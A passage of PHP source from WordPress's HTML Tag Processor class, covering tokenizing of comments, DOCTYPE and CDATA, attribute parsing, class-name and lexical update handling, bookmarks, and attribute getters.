							$this->parser_state = self::STATE_INCOMPLETE_INPUT;

							return false;
						}

						if ( $closer_at + 2 < $doc_length && '>' === $html[ $closer_at + 2 ] ) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 3 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 3;
							return true;
						}

						if (
							$closer_at + 3 < $doc_length &&
							'!' === $html[ $closer_at + 2 ] &&
							'>' === $html[ $closer_at + 3 ]
						) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 4 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 4;
							return true;
						}
					}
				}

				/*
				 * `<!DOCTYPE` transitions to DOCTYPE state – skip to the nearest >
				 * These are ASCII-case-insensitive.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if (
					$doc_length > $at + 8 &&
					( 'D' === $html[ $at + 2 ] || 'd' === $html[ $at + 2 ] ) &&
					( 'O' === $html[ $at + 3 ] || 'o' === $html[ $at + 3 ] ) &&
					( 'C' === $html[ $at + 4 ] || 'c' === $html[ $at + 4 ] ) &&
					( 'T' === $html[ $at + 5 ] || 't' === $html[ $at + 5 ] ) &&
					( 'Y' === $html[ $at + 6 ] || 'y' === $html[ $at + 6 ] ) &&
					( 'P' === $html[ $at + 7 ] || 'p' === $html[ $at + 7 ] ) &&
					( 'E' === $html[ $at + 8 ] || 'e' === $html[ $at + 8 ] )
				) {
					$closer_at = strpos( $html, '>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_DOCTYPE;
					$this->token_length         = $closer_at + 1 - $this->token_starts_at;
					$this->text_starts_at       = $this->token_starts_at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->bytes_already_parsed = $closer_at + 1;
					return true;
				}

				if (
					'html' !== $this->parsing_namespace &&
					strlen( $html ) > $at + 8 &&
					'[' === $html[ $at + 2 ] &&
					'C' === $html[ $at + 3 ] &&
					'D' === $html[ $at + 4 ] &&
					'A' === $html[ $at + 5 ] &&
					'T' === $html[ $at + 6 ] &&
					'A' === $html[ $at + 7 ] &&
					'[' === $html[ $at + 8 ]
				) {
					$closer_at = strpos( $html, ']]>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_CDATA_NODE;
					$this->text_starts_at       = $at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->token_length         = $closer_at + 3 - $this->token_starts_at;
					$this->bytes_already_parsed = $closer_at + 3;
					return true;
				}

				/*
				 * Anything else here is an incorrectly-opened comment and transitions
				 * to the bogus comment state - skip to the nearest >. If no closer is
				 * found then the HTML was truncated inside the markup declaration.
				 */
				$closer_at = strpos( $html, '>', $at + 1 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify nodes that would be CDATA if HTML had CDATA sections.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `]]>` as would be required in an XML document. It
				 * is therefore not possible to parse a CDATA section containing
				 * a `>` in the HTML syntax.
				 *
				 * Inside foreign elements there is a discrepancy between browsers
				 * and the specification on this.
				 *
				 * @todo Track whether the Tag Processor is inside a foreign element
				 *       and require the proper closing `]]>` in those cases.
				 */
				if (
					$this->token_length >= 10 &&
					'[' === $html[ $this->token_starts_at + 2 ] &&
					'C' === $html[ $this->token_starts_at + 3 ] &&
					'D' === $html[ $this->token_starts_at + 4 ] &&
					'A' === $html[ $this->token_starts_at + 5 ] &&
					'T' === $html[ $this->token_starts_at + 6 ] &&
					'A' === $html[ $this->token_starts_at + 7 ] &&
					'[' === $html[ $this->token_starts_at + 8 ] &&
					']' === $html[ $closer_at - 1 ] &&
					']' === $html[ $closer_at - 2 ]
				) {
					$this->parser_state    = self::STATE_COMMENT;
					$this->comment_type    = self::COMMENT_AS_CDATA_LOOKALIKE;
					$this->text_starts_at += 7;
					$this->text_length    -= 9;
				}

				return true;
			}

			/*
			 * </> is a missing end tag name, which is ignored.
			 *
			 * This was also known as the "presumptuous empty tag"
			 * in early discussions as it was proposed to close
			 * the nearest previous opening tag.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-missing-end-tag-name
			 */
			if ( '>' === $html[ $at + 1 ] ) {
				// `<>` is interpreted as plaintext.
				if ( ! $this->is_closing_tag ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_PRESUMPTUOUS_TAG;
				$this->token_length         = $at + 2 - $this->token_starts_at;
				$this->bytes_already_parsed = $at + 2;
				return true;
			}

			/*
			 * `<?` transitions to a bogus comment state – skip to the nearest >
			 * See https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			if ( ! $this->is_closing_tag && '?' === $html[ $at + 1 ] ) {
				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify a Processing Instruction node were HTML to have them.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `?>` as would be required in an XML document. It
				 * is therefore not possible to parse a Processing Instruction node
				 * containing a `>` in the HTML syntax.
				 *
				 * XML allows for more target names, but this code only identifies
				 * those with ASCII-representable target names. This means that it
				 * may identify some Processing Instruction nodes as bogus comments,
				 * but it will not misinterpret the HTML structure. By limiting the
				 * identification to these target names the Tag Processor can avoid
				 * the need to start parsing UTF-8 sequences.
				 *
				 * > NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] |
				 *                     [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] |
				 *                     [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] |
				 *                     [#x10000-#xEFFFF]
				 * > NameChar      ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]
				 *
				 * @todo Processing instruction nodes in SGML may contain any kind of markup. XML defines a
				 *       special case with `<?xml ... ?>` syntax, but the `?` is part of the bogus comment.
				 *
				 * @see https://www.w3.org/TR/2006/REC-xml11-20060816/#NT-PITarget
				 */
				if ( $this->token_length >= 5 && '?' === $html[ $closer_at - 1 ] ) {
					$comment_text     = substr( $html, $this->token_starts_at + 2, $this->token_length - 4 );
					$pi_target_length = strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ:_' );

					if ( 0 < $pi_target_length ) {
						$pi_target_length += strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:_-.', $pi_target_length );

						$this->comment_type       = self::COMMENT_AS_PI_NODE_LOOKALIKE;
						$this->tag_name_starts_at = $this->token_starts_at + 2;
						$this->tag_name_length    = $pi_target_length;
						$this->text_starts_at    += $pi_target_length;
						$this->text_length       -= $pi_target_length + 1;
					}
				}

				return true;
			}

			/*
			 * If a non-alpha starts the tag name in a tag closer it's a comment.
			 * Find the first `>`, which closes the comment.
			 *
			 * This parser classifies these particular comments as special "funky comments"
			 * which are made available for further processing.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-invalid-first-character-of-tag-name
			 */
			if ( $this->is_closing_tag ) {
				// No chance of finding a closer.
				if ( $at + 3 > $doc_length ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_FUNKY_COMMENT;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;
				return true;
			}

			++$at;
		}

		/*
		 * This does not imply an incomplete parse; it indicates that there
		 * can be nothing left in the document other than a #text node.
		 */
		$this->parser_state         = self::STATE_TEXT_NODE;
		$this->token_starts_at      = $was_at;
		$this->token_length         = $doc_length - $was_at;
		$this->text_starts_at       = $was_at;
		$this->text_length          = $this->token_length;
		$this->bytes_already_parsed = $doc_length;
		return true;
	}

	/**
	 * Parses the next attribute.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether an attribute was found before the end of the document.
	 */
	private function parse_next_attribute(): bool {
		$doc_length = strlen( $this->html );

		// Skip whitespace and slashes.
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n/", $this->bytes_already_parsed );
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		/*
		 * Treat the equal sign as a part of the attribute
		 * name if it is the first encountered byte.
		 *
		 * @see https://html.spec.whatwg.org/multipage/parsing.html#before-attribute-name-state
		 */
		$name_length = '=' === $this->html[ $this->bytes_already_parsed ]
			? 1 + strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed + 1 )
			: strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed );

		// No attribute, just tag closer.
		if ( 0 === $name_length || $this->bytes_already_parsed + $name_length >= $doc_length ) {
			return false;
		}

		$attribute_start             = $this->bytes_already_parsed;
		$attribute_name              = substr( $this->html, $attribute_start, $name_length );
		$this->bytes_already_parsed += $name_length;
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$this->skip_whitespace();
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$has_value = '=' === $this->html[ $this->bytes_already_parsed ];
		if ( $has_value ) {
			++$this->bytes_already_parsed;
			$this->skip_whitespace();
			if ( $this->bytes_already_parsed >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			switch ( $this->html[ $this->bytes_already_parsed ] ) {
				case "'":
				case '"':
					$quote                      = $this->html[ $this->bytes_already_parsed ];
					$value_start                = $this->bytes_already_parsed + 1;
					$end_quote_at               = strpos( $this->html, $quote, $value_start );
					$end_quote_at               = false === $end_quote_at ? $doc_length : $end_quote_at;
					$value_length               = $end_quote_at - $value_start;
					$attribute_end              = $end_quote_at + 1;
					$this->bytes_already_parsed = $attribute_end;
					break;

				default:
					$value_start                = $this->bytes_already_parsed;
					$value_length               = strcspn( $this->html, "> \t\f\r\n", $value_start );
					$attribute_end              = $value_start + $value_length;
					$this->bytes_already_parsed = $attribute_end;
			}
		} else {
			$value_start   = $this->bytes_already_parsed;
			$value_length  = 0;
			$attribute_end = $attribute_start + $name_length;
		}

		if ( $attribute_end >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		if ( $this->is_closing_tag ) {
			return true;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $attribute_name );

		// If an attribute is listed many times, only use the first declaration and ignore the rest.
		if ( ! isset( $this->attributes[ $comparable_name ] ) ) {
			$this->attributes[ $comparable_name ] = new WP_HTML_Attribute_Token(
				$attribute_name,
				$value_start,
				$value_length,
				$attribute_start,
				$attribute_end - $attribute_start,
				! $has_value
			);

			return true;
		}

		/*
		 * Track the duplicate attributes so if we remove it, all disappear together.
		 *
		 * While `$this->duplicated_attributes` could always be stored as an `array()`,
		 * which would simplify the logic here, storing a `null` and only allocating
		 * an array when encountering duplicates avoids needless allocations in the
		 * normative case of parsing tags with no duplicate attributes.
		 */
		$duplicate_span = new WP_HTML_Span( $attribute_start, $attribute_end - $attribute_start );
		if ( null === $this->duplicate_attributes ) {
			$this->duplicate_attributes = array( $comparable_name => array( $duplicate_span ) );
		} elseif ( ! isset( $this->duplicate_attributes[ $comparable_name ] ) ) {
			$this->duplicate_attributes[ $comparable_name ] = array( $duplicate_span );
		} else {
			$this->duplicate_attributes[ $comparable_name ][] = $duplicate_span;
		}

		return true;
	}

	/**
	 * Move the internal cursor past any immediate successive whitespace.
	 *
	 * @since 6.2.0
	 */
	private function skip_whitespace(): void {
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n", $this->bytes_already_parsed );
	}

	/**
	 * Applies attribute updates and cleans up once a tag is fully parsed.
	 *
	 * @since 6.2.0
	 */
	private function after_tag(): void {
		/*
		 * There could be lexical updates enqueued for an attribute that
		 * also exists on the next tag. In order to avoid conflating the
		 * attributes across the two tags, lexical updates with names
		 * need to be flushed to raw lexical updates.
		 */
		$this->class_name_updates_to_attributes_updates();

		/*
		 * Purge updates if there are too many. The actual count isn't
		 * scientific, but a few values from 100 to a few thousand were
		 * tests to find a practically-useful limit.
		 *
		 * If the update queue grows too big, then the Tag Processor
		 * will spend more time iterating through them and lose the
		 * efficiency gains of deferring applying them.
		 */
		if ( 1000 < count( $this->lexical_updates ) ) {
			$this->get_updated_html();
		}

		foreach ( $this->lexical_updates as $name => $update ) {
			/*
			 * Any updates appearing after the cursor should be applied
			 * before proceeding, otherwise they may be overlooked.
			 */
			if ( $update->start >= $this->bytes_already_parsed ) {
				$this->get_updated_html();
				break;
			}

			if ( is_int( $name ) ) {
				continue;
			}

			$this->lexical_updates[] = $update;
			unset( $this->lexical_updates[ $name ] );
		}

		$this->token_starts_at          = null;
		$this->token_length             = null;
		$this->tag_name_starts_at       = null;
		$this->tag_name_length          = null;
		$this->text_starts_at           = 0;
		$this->text_length              = 0;
		$this->is_closing_tag           = null;
		$this->attributes               = array();
		$this->comment_type             = null;
		$this->text_node_classification = self::TEXT_IS_GENERIC;
		$this->duplicate_attributes     = null;
	}

	/**
	 * Converts class name updates into tag attributes updates
	 * (they are accumulated in different data formats for performance).
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::$lexical_updates
	 * @see WP_HTML_Tag_Processor::$classname_updates
	 */
	private function class_name_updates_to_attributes_updates(): void {
		if ( count( $this->classname_updates ) === 0 ) {
			return;
		}

		$existing_class = $this->get_enqueued_attribute_value( 'class' );
		if ( null === $existing_class || true === $existing_class ) {
			$existing_class = '';
		}

		if ( false === $existing_class && isset( $this->attributes['class'] ) ) {
			$existing_class = substr(
				$this->html,
				$this->attributes['class']->value_starts_at,
				$this->attributes['class']->value_length
			);
		}

		if ( false === $existing_class ) {
			$existing_class = '';
		}

		/**
		 * Updated "class" attribute value.
		 *
		 * This is incrementally built while scanning through the existing class
		 * attribute, skipping removed classes on the way, and then appending
		 * added classes at the end. Only when finished processing will the
		 * value contain the final new value.

		 * @var string $class
		 */
		$class = '';

		/**
		 * Tracks the cursor position in the existing
		 * class attribute value while parsing.
		 *
		 * @var int $at
		 */
		$at = 0;

		/**
		 * Indicates if there's any need to modify the existing class attribute.
		 *
		 * If a call to `add_class()` and `remove_class()` wouldn't impact
		 * the `class` attribute value then there's no need to rebuild it.
		 * For example, when adding a class that's already present or
		 * removing one that isn't.
		 *
		 * This flag enables a performance optimization when none of the enqueued
		 * class updates would impact the `class` attribute; namely, that the
		 * processor can continue without modifying the input document, as if
		 * none of the `add_class()` or `remove_class()` calls had been made.
		 *
		 * This flag is set upon the first change that requires a string update.
		 *
		 * @var bool $modified
		 */
		$modified = false;

		$seen      = array();
		$to_remove = array();
		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;
		if ( $is_quirks ) {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = strtolower( $updated_name );
				}
			}
		} else {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = $updated_name;
				}
			}
		}

		// Remove unwanted classes by only copying the new ones.
		$existing_class_length = strlen( $existing_class );
		while ( $at < $existing_class_length ) {
			// Skip to the first non-whitespace character.
			$ws_at     = $at;
			$ws_length = strspn( $existing_class, " \t\f\r\n", $ws_at );
			$at       += $ws_length;

			// Capture the class name – it's everything until the next whitespace.
			$name_length = strcspn( $existing_class, " \t\f\r\n", $at );
			if ( 0 === $name_length ) {
				// If no more class names are found then that's the end.
				break;
			}

			$name                  = substr( $existing_class, $at, $name_length );
			$comparable_class_name = $is_quirks ? strtolower( $name ) : $name;
			$at                   += $name_length;

			// If this class is marked for removal, remove it and move on to the next one.
			if ( in_array( $comparable_class_name, $to_remove, true ) ) {
				$modified = true;
				continue;
			}

			// If a class has already been seen then skip it; it should not be added twice.
			if ( in_array( $comparable_class_name, $seen, true ) ) {
				continue;
			}

			$seen[] = $comparable_class_name;

			/*
			 * Otherwise, append it to the new "class" attribute value.
			 *
			 * There are options for handling whitespace between tags.
			 * Preserving the existing whitespace produces fewer changes
			 * to the HTML content and should clarify the before/after
			 * content when debugging the modified output.
			 *
			 * This approach contrasts normalizing the inter-class
			 * whitespace to a single space, which might appear cleaner
			 * in the output HTML but produce a noisier change.
			 */
			if ( '' !== $class ) {
				$class .= substr( $existing_class, $ws_at, $ws_length );
			}
			$class .= $name;
		}

		// Add new classes by appending those which haven't already been seen.
		foreach ( $this->classname_updates as $name => $operation ) {
			$comparable_name = $is_quirks ? strtolower( $name ) : $name;
			if ( self::ADD_CLASS === $operation && ! in_array( $comparable_name, $seen, true ) ) {
				$modified = true;

				$class .= strlen( $class ) > 0 ? ' ' : '';
				$class .= $name;
			}
		}

		$this->classname_updates = array();
		if ( ! $modified ) {
			return;
		}

		if ( strlen( $class ) > 0 ) {
			$this->set_attribute( 'class', $class );
		} else {
			$this->remove_attribute( 'class' );
		}
	}

	/**
	 * Applies attribute updates to HTML document.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Accumulates shift for internal cursor and passed pointer.
	 * @since 6.3.0 Invalidate any bookmarks whose targets are overwritten.
	 *
	 * @param int $shift_this_point Accumulate and return shift for this position.
	 * @return int How many bytes the given pointer moved in response to the updates.
	 */
	private function apply_attributes_updates( int $shift_this_point ): int {
		if ( ! count( $this->lexical_updates ) ) {
			return 0;
		}

		$accumulated_shift_for_given_point = 0;

		/*
		 * Attribute updates can be enqueued in any order but updates
		 * to the document must occur in lexical order; that is, each
		 * replacement must be made before all others which follow it
		 * at later string indices in the input document.
		 *
		 * Sorting avoid making out-of-order replacements which
		 * can lead to mangled output, partially-duplicated
		 * attributes, and overwritten attributes.
		 */
		usort( $this->lexical_updates, array( self::class, 'sort_start_ascending' ) );

		$bytes_already_copied = 0;
		$output_buffer        = '';
		foreach ( $this->lexical_updates as $diff ) {
			$shift = strlen( $diff->text ) - $diff->length;

			// Adjust the cursor position by however much an update affects it.
			if ( $diff->start < $this->bytes_already_parsed ) {
				$this->bytes_already_parsed += $shift;
			}

			// Accumulate shift of the given pointer within this function call.
			if ( $diff->start < $shift_this_point ) {
				$accumulated_shift_for_given_point += $shift;
			}

			$output_buffer       .= substr( $this->html, $bytes_already_copied, $diff->start - $bytes_already_copied );
			$output_buffer       .= $diff->text;
			$bytes_already_copied = $diff->start + $diff->length;
		}

		$this->html = $output_buffer . substr( $this->html, $bytes_already_copied );

		/*
		 * Adjust bookmark locations to account for how the text
		 * replacements adjust offsets in the input document.
		 */
		foreach ( $this->bookmarks as $bookmark_name => $bookmark ) {
			$bookmark_end = $bookmark->start + $bookmark->length;

			/*
			 * Each lexical update which appears before the bookmark's endpoints
			 * might shift the offsets for those endpoints. Loop through each change
			 * and accumulate the total shift for each bookmark, then apply that
			 * shift after tallying the full delta.
			 */
			$head_delta = 0;
			$tail_delta = 0;

			foreach ( $this->lexical_updates as $diff ) {
				$diff_end = $diff->start + $diff->length;

				if ( $bookmark->start < $diff->start && $bookmark_end < $diff->start ) {
					break;
				}

				if ( $bookmark->start >= $diff->start && $bookmark_end < $diff_end ) {
					$this->release_bookmark( $bookmark_name );
					continue 2;
				}

				$delta = strlen( $diff->text ) - $diff->length;

				if ( $bookmark->start >= $diff->start ) {
					$head_delta += $delta;
				}

				if ( $bookmark_end >= $diff_end ) {
					$tail_delta += $delta;
				}
			}

			$bookmark->start  += $head_delta;
			$bookmark->length += $tail_delta - $head_delta;
		}

		$this->lexical_updates = array();

		return $accumulated_shift_for_given_point;
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.3.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return array_key_exists( $bookmark_name, $this->bookmarks );
	}

	/**
	 * Move the internal cursor in the Tag Processor to a given bookmark's location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @since 6.2.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		if ( ! array_key_exists( $bookmark_name, $this->bookmarks ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Unknown bookmark name.' ),
				'6.2.0'
			);
			return false;
		}

		$existing_bookmark = $this->bookmarks[ $bookmark_name ];

		if (
			$this->token_starts_at === $existing_bookmark->start &&
			$this->token_length === $existing_bookmark->length
		) {
			return true;
		}

		if ( ++$this->seek_count > static::MAX_SEEK_OPS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many calls to seek() - this can lead to performance issues.' ),
				'6.2.0'
			);
			return false;
		}

		// Flush out any pending updates to the document.
		$this->get_updated_html();

		// Point this tag processor before the sought tag opener and consume it.
		$this->bytes_already_parsed = $this->bookmarks[ $bookmark_name ]->start;
		$this->parser_state         = self::STATE_READY;
		return $this->next_token();
	}

	/**
	 * Compare two WP_HTML_Text_Replacement objects.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_HTML_Text_Replacement $a First attribute update.
	 * @param WP_HTML_Text_Replacement $b Second attribute update.
	 * @return int Comparison value for string order.
	 */
	private static function sort_start_ascending( WP_HTML_Text_Replacement $a, WP_HTML_Text_Replacement $b ): int {
		$by_start = $a->start - $b->start;
		if ( 0 !== $by_start ) {
			return $by_start;
		}

		$by_text = isset( $a->text, $b->text ) ? strcmp( $a->text, $b->text ) : 0;
		if ( 0 !== $by_text ) {
			return $by_text;
		}

		/*
		 * This code should be unreachable, because it implies the two replacements
		 * start at the same location and contain the same text.
		 */
		return $a->length - $b->length;
	}

	/**
	 * Return the enqueued value for a given attribute, if one exists.
	 *
	 * Enqueued updates can take different data types:
	 *  - If an update is enqueued and is boolean, the return will be `true`
	 *  - If an update is otherwise enqueued, the return will be the string value of that update.
	 *  - If an attribute is enqueued to be removed, the return will be `null` to indicate that.
	 *  - If no updates are enqueued, the return will be `false` to differentiate from "removed."
	 *
	 * @since 6.2.0
	 *
	 * @param string $comparable_name The attribute name in its comparable form.
	 * @return string|boolean|null Value of enqueued update if present, otherwise false.
	 */
	private function get_enqueued_attribute_value( string $comparable_name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		if ( ! isset( $this->lexical_updates[ $comparable_name ] ) ) {
			return false;
		}

		$enqueued_text = $this->lexical_updates[ $comparable_name ]->text;

		// Removed attributes erase the entire span.
		if ( '' === $enqueued_text ) {
			return null;
		}

		/*
		 * Boolean attribute updates are just the attribute name without a corresponding value.
		 *
		 * This value might differ from the given comparable name in that there could be leading
		 * or trailing whitespace, and that the casing follows the name given in `set_attribute`.
		 *
		 * Example:
		 *
		 *     $p->set_attribute( 'data-TEST-id', 'update' );
		 *     'update' === $p->get_enqueued_attribute_value( 'data-test-id' );
		 *
		 * Detect this difference based on the absence of the `=`, which _must_ exist in any
		 * attribute containing a value, e.g. `<input type="text" enabled />`.
		 *                                            ¹           ²
		 *                                       1. Attribute with a string value.
		 *                                       2. Boolean attribute whose value is `true`.
		 */
		$equals_at = strpos( $enqueued_text, '=' );
		if ( false === $equals_at ) {
			return true;
		}

		/*
		 * Finally, a normal update's value will appear after the `=` and
		 * be double-quoted, as performed incidentally by `set_attribute`.
		 *
		 * e.g. `type="text"`
		 *           ¹²    ³
		 *        1. Equals is here.
		 *        2. Double-quoting starts one after the equals sign.
		 *        3. Double-quoting ends at the last character in the update.
		 */
		$enqueued_value = substr( $enqueued_text, $equals_at + 2, -1 );
		return WP_HTML_Decoder::decode_attribute( $enqueued_value );
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$comparable = strtolower( $name );

		/*
		 * For every attribute other than `class` it's possible to perform a quick check if
		 * there's an enqueued lexical update whose value takes priority over what's found in
		 * the input document.
		 *
		 * The `class` attribute is special though because of the exposed helpers `add_class`
		 * and `remove_class`. These form a builder for the `class` attribute, so an additional
		 * check for enqueued class changes is required in addition to the check for any enqueued
		 * attribute values. If any exist, those enqueued class changes must first be flushed out
		 * into an attribute value update.
		 */
		if ( 'class' === $name ) {
			$this->class_name_updates_to_attributes_updates();
		}

		// Return any enqueued attribute value updates if they exist.
		$enqueued_value = $this->get_enqueued_attribute_value( $comparable );
		if ( false !== $enqueued_value ) {
			return $enqueued_value;
		}

		if ( ! isset( $this->attributes[ $comparable ] ) ) {
			return null;
		}

		$attribute = $this->attributes[ $comparable ];

		/*
		 * This flag distinguishes an attribute with no value
		 * from an attribute with an empty string value. For
		 * unquoted attributes this could look very similar.
		 * It refers to whether an `=` follows the name.
		 *
		 * e.g. <div boolean-attribute empty-attribute=></div>
		 *           ¹                 ²
		 *        1. Attribute `boolean-attribute` is `true`.
		 *        2. Attribute `empty-attribute` is `""`.
		 */
		if ( true === $attribute->is_true ) {
			return true;
		}

		$raw_value = substr( $this->html, $attribute->value_starts_at, $attribute->value_length );

		return WP_HTML_Decoder::decode_attribute( $raw_value );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return null;
		}

		$comparable = strtolower( $prefix );

		$matches = array();
		foreach ( array_keys( $this->attributes ) as $attr_name ) {
			if ( str_starts_with( $attr_name, $comparable ) ) {
				$matches[] = $attr_name;
			}
		}
		return $matches;
	}

	/**
	 * Returns the namespace of the matched token.
	 *
	 * @since 6.7.0
	 *
	 * @return string One of 'html', 'math', or 'svg'.
	 */
	public function get_namespace(): string {
		return $this->parsing_namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $p->next_tag() === true;
	 *     $p->get_tag() === 'DIV';
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_tag() === null;
	 *
	 * @since 6.2.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
